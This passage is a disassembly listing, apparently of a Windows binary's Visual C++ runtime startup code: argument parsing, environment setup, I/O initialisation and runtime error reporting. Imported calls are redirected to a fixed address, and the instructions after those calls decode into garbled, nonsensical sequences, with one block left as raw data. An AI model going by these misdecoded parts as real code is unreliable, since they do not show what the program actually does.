		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_418967


loc_418942:				; CODE XREF: seg000:0041895Aj
					; seg000:0041895Dj
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41895F
		test	al, al
		jz	short loc_41895F
		movzx	eax, al
		push	eax
		call	sub_41A9BF
		test	eax, eax
		pop	ecx
		jz	short loc_418942
		inc	esi
		jmp	short loc_418942
; ---------------------------------------------------------------------------


loc_41895F:				; CODE XREF: seg000:00418948j
					; seg000:0041894Cj
		cmp	byte ptr [esi],	22h
		jnz	short loc_418971


loc_418964:				; CODE XREF: seg000:00418979j
		inc	esi
		jmp	short loc_418971
; ---------------------------------------------------------------------------


loc_418967:				; CODE XREF: seg000:00418940j
		cmp	al, 20h
		jbe	short loc_418971


loc_41896B:				; CODE XREF: seg000:0041896Fj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41896B


loc_418971:				; CODE XREF: seg000:00418962j
					; seg000:00418965j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41897B
		cmp	al, 20h
		jbe	short loc_418964


loc_41897B:				; CODE XREF: seg000:00418975j
		mov	eax, esi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41897F	proc near		; CODE XREF: seg000:00413EC6p
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4625EC, ebx
		push	esi
		push	edi
		jnz	short loc_418991
		call	sub_4185CC


loc_418991:				; CODE XREF: sub_41897F+Bj
		mov	esi, ds:dword_460FD8
		xor	edi, edi


loc_418999:				; CODE XREF: sub_41897F+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_4189B1
		cmp	al, 3Dh
		jz	short loc_4189A4
		inc	edi


loc_4189A4:				; CODE XREF: sub_41897F+22j
		push	esi
		call	sub_411FB0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_418999
; ---------------------------------------------------------------------------


loc_4189B1:				; CODE XREF: sub_41897F+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41205F
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	ds:dword_460FB4, esi
		jnz	short loc_4189D3
		push	9
		call	sub_413F2E
		pop	ecx


loc_4189D3:				; CODE XREF: sub_41897F+4Aj
		mov	edi, ds:dword_460FD8
		cmp	[edi], bl
		jz	short loc_418A16
		push	ebp


loc_4189DE:				; CODE XREF: sub_41897F+94j
		push	edi
		call	sub_411FB0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_418A0F
		push	ebp
		call	sub_41205F
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_418A02
		push	9
		call	sub_413F2E
		pop	ecx


loc_418A02:				; CODE XREF: sub_41897F+79j
		push	edi
		push	dword ptr [esi]
		call	sub_412FC0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_418A0F:				; CODE XREF: sub_41897F+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_4189DE
		pop	ebp


loc_418A16:				; CODE XREF: sub_41897F+5Cj
		push	ds:dword_460FD8
		call	sub_4120D3
		pop	ecx
		mov	ds:dword_460FD8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	ds:dword_4625E8, 1
		pop	ebx
		retn
sub_41897F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A38	proc near		; CODE XREF: seg000:00413EC1p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4625EC, ebx
		push	esi
		push	edi
		jnz	short loc_418A4F
		call	sub_4185CC


loc_418A4F:				; CODE XREF: sub_418A38+10j
		mov	esi, offset dword_461040
		push	104h
		push	esi
		push	ebx
		call	near ptr 0A70000h
		repne mov eax, ds:dword_4625E4
		mov	ds:dword_460FC4, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_418A74
		mov	edi, eax


loc_418A74:				; CODE XREF: sub_418A38+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_418AD1
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41205F
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_418AA4
		push	8
		call	sub_413F2E
		pop	ecx


loc_418AA4:				; CODE XREF: sub_418A38+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_418AD1
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	ds:dword_460FAC, esi
		pop	edi
		pop	esi
		mov	ds:dword_460FA8, eax
		pop	ebx
		leave
		retn
sub_418A38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AD1	proc near		; CODE XREF: sub_418A38+47p
					; sub_418A38+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_418AFB
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_418AFB:				; CODE XREF: sub_418AD1+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_418B44


loc_418B00:				; CODE XREF: sub_418AD1+58j
					; sub_418AD1+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_418B32
		test	dl, dl
		jz	short loc_418B32
		movzx	edx, dl
		test	ds:byte_4624C1[edx], 4
		jz	short loc_418B25
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_418B25
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_418B25:				; CODE XREF: sub_418AD1+46j
					; sub_418AD1+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_418B00
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_418B00
; ---------------------------------------------------------------------------


loc_418B32:				; CODE XREF: sub_418AD1+36j
					; sub_418AD1+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_418B3C
		and	byte ptr [esi],	0
		inc	esi


loc_418B3C:				; CODE XREF: sub_418AD1+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_418B87
		inc	eax
		jmp	short loc_418B87
; ---------------------------------------------------------------------------


loc_418B44:				; CODE XREF: sub_418AD1+2Dj
					; sub_418AD1+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_418B4F
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_418B4F:				; CODE XREF: sub_418AD1+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	ds:byte_4624C1[ebx], 4
		jz	short loc_418B6A
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_418B69
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_418B69:				; CODE XREF: sub_418AD1+91j
		inc	eax


loc_418B6A:				; CODE XREF: sub_418AD1+8Bj
		cmp	dl, 20h
		jz	short loc_418B78
		test	dl, dl
		jz	short loc_418B7C
		cmp	dl, 9
		jnz	short loc_418B44


loc_418B78:				; CODE XREF: sub_418AD1+9Cj
		test	dl, dl
		jnz	short loc_418B7F


loc_418B7C:				; CODE XREF: sub_418AD1+A0j
		dec	eax
		jmp	short loc_418B87
; ---------------------------------------------------------------------------


loc_418B7F:				; CODE XREF: sub_418AD1+A9j
		test	esi, esi
		jz	short loc_418B87
		and	byte ptr [esi-1], 0


loc_418B87:				; CODE XREF: sub_418AD1+6Ej
					; sub_418AD1+71j ...
		and	[ebp+arg_10], 0


loc_418B8B:				; CODE XREF: sub_418AD1+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_418C74


loc_418B94:				; CODE XREF: sub_418AD1+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_418BA0
		cmp	dl, 9
		jnz	short loc_418BA3


loc_418BA0:				; CODE XREF: sub_418AD1+C8j
		inc	eax
		jmp	short loc_418B94
; ---------------------------------------------------------------------------


loc_418BA3:				; CODE XREF: sub_418AD1+CDj
		cmp	byte ptr [eax],	0
		jz	loc_418C74
		test	edi, edi
		jz	short loc_418BB8
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_418BB8:				; CODE XREF: sub_418AD1+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_418BBD:				; CODE XREF: sub_418AD1+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_418BC6:				; CODE XREF: sub_418AD1+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_418BCF
		inc	eax
		inc	ebx
		jmp	short loc_418BC6
; ---------------------------------------------------------------------------


loc_418BCF:				; CODE XREF: sub_418AD1+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_418C00
		test	bl, 1
		jnz	short loc_418BFE
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_418BED
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_418BED
		mov	eax, edx
		jmp	short loc_418BF0
; ---------------------------------------------------------------------------


loc_418BED:				; CODE XREF: sub_418AD1+10Dj
					; sub_418AD1+116j
		mov	[ebp+arg_0], edi


loc_418BF0:				; CODE XREF: sub_418AD1+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_418BFE:				; CODE XREF: sub_418AD1+106j
		shr	ebx, 1


loc_418C00:				; CODE XREF: sub_418AD1+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_418C15
		inc	ebx


loc_418C08:				; CODE XREF: sub_418AD1+142j
		test	esi, esi
		jz	short loc_418C10
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_418C10:				; CODE XREF: sub_418AD1+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_418C08


loc_418C15:				; CODE XREF: sub_418AD1+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_418C65
		cmp	[ebp+arg_10], 0
		jnz	short loc_418C2B
		cmp	dl, 20h
		jz	short loc_418C65
		cmp	dl, 9
		jz	short loc_418C65


loc_418C2B:				; CODE XREF: sub_418AD1+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_418C5F
		test	esi, esi
		jz	short loc_418C4E
		movzx	ebx, dl
		test	ds:byte_4624C1[ebx], 4
		jz	short loc_418C47
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_418C47:				; CODE XREF: sub_418AD1+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_418C5D
; ---------------------------------------------------------------------------


loc_418C4E:				; CODE XREF: sub_418AD1+162j
		movzx	edx, dl
		test	ds:byte_4624C1[edx], 4
		jz	short loc_418C5D
		inc	eax
		inc	dword ptr [ecx]


loc_418C5D:				; CODE XREF: sub_418AD1+17Bj
					; sub_418AD1+187j
		inc	dword ptr [ecx]


loc_418C5F:				; CODE XREF: sub_418AD1+15Ej
		inc	eax
		jmp	loc_418BBD
; ---------------------------------------------------------------------------


loc_418C65:				; CODE XREF: sub_418AD1+148j
					; sub_418AD1+153j ...
		test	esi, esi
		jz	short loc_418C6D
		and	byte ptr [esi],	0
		inc	esi


loc_418C6D:				; CODE XREF: sub_418AD1+196j
		inc	dword ptr [ecx]
		jmp	loc_418B8B
; ---------------------------------------------------------------------------


loc_418C74:				; CODE XREF: sub_418AD1+BDj
					; sub_418AD1+D5j
		test	edi, edi
		jz	short loc_418C7B
		and	dword ptr [edi], 0


loc_418C7B:				; CODE XREF: sub_418AD1+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_418AD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C85	proc near		; CODE XREF: seg000:00413EB7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, ds:dword_461144
		push	ebx
		push	ebp
		mov	ebp, ds:dword_41D03C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_418CD3
		call	ebp ; dword_41D03C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_418CB4
		mov	ds:dword_461144, 1
		jmp	short loc_418CDC
; ---------------------------------------------------------------------------


loc_418CB4:				; CODE XREF: sub_418C85+21j
		call	ds:dword_41D1A0	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_418DAE
		mov	ds:dword_461144, 2
		jmp	loc_418D62
; ---------------------------------------------------------------------------


loc_418CD3:				; CODE XREF: sub_418C85+19j
		cmp	eax, 1
		jnz	loc_418D5D


loc_418CDC:				; CODE XREF: sub_418C85+2Dj
		cmp	esi, ebx
		jnz	short loc_418CEC
		call	ebp ; dword_41D03C
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_418DAE


loc_418CEC:				; CODE XREF: sub_418C85+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_418D01


loc_418CF3:				; CODE XREF: sub_418C85+73j
					; sub_418C85+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_418CF3
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_418CF3


loc_418D01:				; CODE XREF: sub_418C85+6Cj
		sub	eax, esi
		mov	edi, ds:dword_41D128
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi ; dword_41D128
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_418D52
		push	ebp
		call	sub_41205F
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_418D52
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi ; dword_41D128
		test	eax, eax
		jnz	short loc_418D4E
		push	[esp+18h+var_8]
		call	sub_4120D3
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_418D4E:				; CODE XREF: sub_418C85+B9j
		mov	ebx, [esp+18h+var_8]


loc_418D52:				; CODE XREF: sub_418C85+99j
					; sub_418C85+A8j
		push	esi
		call	ds:dword_41D19C	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_418DB0
; ---------------------------------------------------------------------------


loc_418D5D:				; CODE XREF: sub_418C85+51j
		cmp	eax, 2
		jnz	short loc_418DAE


loc_418D62:				; CODE XREF: sub_418C85+49j
		cmp	edi, ebx
		jnz	short loc_418D72
		call	ds:dword_41D1A0	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_418DAE


loc_418D72:				; CODE XREF: sub_418C85+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_418D82


loc_418D78:				; CODE XREF: sub_418C85+F6j
					; sub_418C85+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_418D78
		inc	eax
		cmp	[eax], bl
		jnz	short loc_418D78


loc_418D82:				; CODE XREF: sub_418C85+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41205F
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_418D98
		xor	esi, esi
		jmp	short loc_418DA3
; ---------------------------------------------------------------------------


loc_418D98:				; CODE XREF: sub_418C85+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_411A40
		add	esp, 0Ch


loc_418DA3:				; CODE XREF: sub_418C85+111j
		push	edi
		call	near ptr 0A70000h
		mov	ds:2EBC68Bh, al


loc_418DAE:				; CODE XREF: sub_418C85+39j
					; sub_418C85+61j ...
		xor	eax, eax


loc_418DB0:				; CODE XREF: sub_418C85+D6j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_418C85	endp

; ---------------------------------------------------------------------------


loc_418DB7:				; CODE XREF: seg000:00413EA7p
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41205F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_418DD7
		push	1Bh
		call	sub_413F2E
		pop	ecx


loc_418DD7:				; CODE XREF: seg000:00418DCDj
		mov	ds:dword_4622A0, esi
		mov	ds:dword_4623A0, 20h
		lea	eax, [esi+100h]


loc_418DED:				; CODE XREF: seg000:00418E09j
		cmp	esi, eax
		jnb	short loc_418E0B
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, ds:dword_4622A0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_418DED
; ---------------------------------------------------------------------------


loc_418E0B:				; CODE XREF: seg000:00418DEFj
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 0A70000h
		adc	eax, 247C8366h
		inc	edx
		add	[edi], cl
		test	al, ch
; ---------------------------------------------------------------------------
		db 0
		dd 448B0000h, 0C0854424h, 0B9840Fh, 308B0000h, 0B804688Dh
		dd 800h, 1C8DF03Bh, 8B027C2Eh, 0A03539F0h, 7D004623h, 22A4BF52h
		dd 680046h, 0E8000001h,	0FFFF9207h, 7459C085h, 0A0058338h
		dd 20004623h, 888D0789h, 100h, 1873C13Bh, 46080h, 0C6FF0883h
		dd 8B0A0540h, 8C0830Fh,	100C181h, 0E4EB0000h, 3904C783h
		dd 4623A035h, 0EBBB7C00h, 0A0358B06h, 33004623h, 7EF685FFh
		dd 83038B46h, 3674FFF8h, 0F6004D8Ah, 2E7401C1h,	7508C1F6h
		dd 45E8500Bh, 0A6006571h, 1E74C085h, 0CF8BC78Bh, 8305F8C1h
		dd 48B1FE1h, 4622A085h,	0C8048D00h, 8890B8Bh, 88004D8Ah
		dd 45470448h, 3B04C383h, 33BA7CFEh, 22A0A1DBh, 3C830046h
		dd 348DFFD8h, 854D75D8h, 446C6DBh, 6A057581h, 0AEB58F6h
		dd 0F748C38Bh, 83C01BD8h, 0E850F5C0h, 6570ECh, 83F88BF4h
		dd 1774FFFFh, 70DEE857h, 85E70065h, 250C74C0h, 0FFh, 0F8833E89h
		dd 80067502h, 0EB40044Eh, 3F8830Fh, 4E800A75h, 4EB0804h
		dd 80044E80h, 3FB8343h,	35FF9B7Ch, 4623A0h, 6570A7E8h
		dd 5E5F4600h, 0C4835B5Dh, 0CCCCC344h, 30324356h, 30304358h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F6C	proc near		; DATA XREF: seg000:00413E42o
					; sub_41653D+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41900C
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_418F9F:				; CODE XREF: sub_418F6C+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_419005
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_418FF3
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_418FF3
		js	short loc_418FFE
		mov	edi, [ebx+8]
		push	ebx
		call	sub_412600
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_412642
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_4126D6
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_418FF3:				; CODE XREF: sub_418F6C+40j
					; sub_418F6C+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_418F9F
; ---------------------------------------------------------------------------


loc_418FFE:				; CODE XREF: sub_418F6C+54j
		mov	eax, 0
		jmp	short loc_419021
; ---------------------------------------------------------------------------


loc_419005:				; CODE XREF: sub_418F6C+36j
		mov	eax, 1
		jmp	short loc_419021
; ---------------------------------------------------------------------------


loc_41900C:				; CODE XREF: sub_418F6C+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_412642
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_419021:				; CODE XREF: sub_418F6C+97j
					; sub_418F6C+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_418F6C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_412642
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_419044	proc near		; CODE XREF: sub_413F2E+9p
					; sub_413F53+9p
		mov	eax, ds:dword_460FE0
		cmp	eax, 1
		jz	short loc_41905B
		test	eax, eax
		jnz	short locret_41907C
		cmp	ds:dword_42F864, 1
		jnz	short locret_41907C


loc_41905B:				; CODE XREF: sub_419044+8j
		push	0FCh
		call	sub_41907D
		mov	eax, ds:dword_461148
		pop	ecx
		test	eax, eax
		jz	short loc_419071
		call	eax ; dword_461148


loc_419071:				; CODE XREF: sub_419044+29j
		push	0FFh
		call	sub_41907D
		pop	ecx

locret_41907C:				; CODE XREF: sub_419044+Cj
					; sub_419044+15j
		retn
sub_419044	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41907D	proc near		; CODE XREF: sub_413F2E+12p
					; sub_413F53+12p ...

var_72EC8A40	= byte ptr -72EC8A40h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_42FED8


loc_419090:				; CODE XREF: sub_41907D+20j
		cmp	edx, [eax]
		jz	short loc_41909F
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_42FF68
		jl	short loc_419090


loc_41909F:				; CODE XREF: sub_41907D+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, ds:dword_42FED8[esi]
		jnz	loc_4191CD
		mov	eax, ds:dword_460FE0
		cmp	eax, 1
		jz	loc_4191A7
		test	eax, eax
		jnz	short loc_4190D0
		cmp	ds:dword_42F864, 1
		jz	loc_4191A7


loc_4190D0:				; CODE XREF: sub_41907D+44j
		cmp	edx, 0FCh
		jz	loc_4191CD
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 0A70000h
		adc	al, [ebp+var_72EC8A40]
		test	[esi+edi*8-1], ebx
		jmp	fword ptr [eax+5Ch]
; ---------------------------------------------------------------------------
		fild	dword ptr [ecx+0]
		push	eax
		call	sub_412FC0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_411FB0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41914A
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_411FB0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_413150
		add	esp, 10h


loc_41914A:				; CODE XREF: sub_41907D+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_412FC0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_412FD0
		lea	eax, [ebp+var_A0]
		push	offset asc_41DB38 ; "\n\n"
		push	eax
		call	sub_412FD0
		push	ds:off_42FEDC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_412FD0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_41AA01
		add	esp, 2Ch
		pop	edi
		jmp	short loc_4191CD
; ---------------------------------------------------------------------------


loc_4191A7:				; CODE XREF: sub_41907D+3Cj
					; sub_41907D+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_42FEDC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_411FB0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 0A70000h
		fist	word ptr [eax-18h]
		xor	al, 6Eh
		add	gs:[ecx], bh


loc_4191CD:				; CODE XREF: sub_41907D+2Ej
					; sub_41907D+59j ...
		pop	esi
		leave
		retn
sub_41907D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4191D0	proc near		; CODE XREF: sub_413F77+95p
					; sub_413F77+E8p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, ds:dword_4623A0
		push	esi
		push	edi
		jnb	loc_419364
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4622A0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_419364
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_419221


loc_41921A:				; CODE XREF: sub_4191D0+177j
		xor	eax, eax
		jmp	loc_419378
; ---------------------------------------------------------------------------


loc_419221:				; CODE XREF: sub_4191D0+48j
		test	al, 20h
		jz	short loc_419231
		push	2
		push	edi
		push	ecx
		call	sub_417DF2
		add	esp, 0Ch


loc_419231:				; CODE XREF: sub_4191D0+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_419300
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_419338


loc_419251:				; CODE XREF: sub_4191D0+F5j
		lea	eax, [ebp+var_414]


loc_419257:				; CODE XREF: sub_4191D0+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41928B
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_419276
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_419276:				; CODE XREF: sub_4191D0+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_419257


loc_41928B:				; CODE XREF: sub_4191D0+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 0A70000h
		push	ebp
		test	eax, eax
		jz	short loc_4192F5
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_4192C7
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_419251


loc_4192C7:				; CODE XREF: sub_4191D0+EAj
					; sub_4191D0+12Ej
		xor	edi, edi


loc_4192C9:				; CODE XREF: sub_4191D0+150j
					; sub_4191D0+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41935F
		cmp	[ebp+arg_0], edi
		jz	short loc_419338
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41932D
		mov	ds:dword_460F8C, 9
		mov	ds:dword_460F90, eax
		jmp	loc_419375
; ---------------------------------------------------------------------------


loc_4192F5:				; CODE XREF: sub_4191D0+E0j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_4192C7
; ---------------------------------------------------------------------------


loc_419300:				; CODE XREF: sub_4191D0+69j
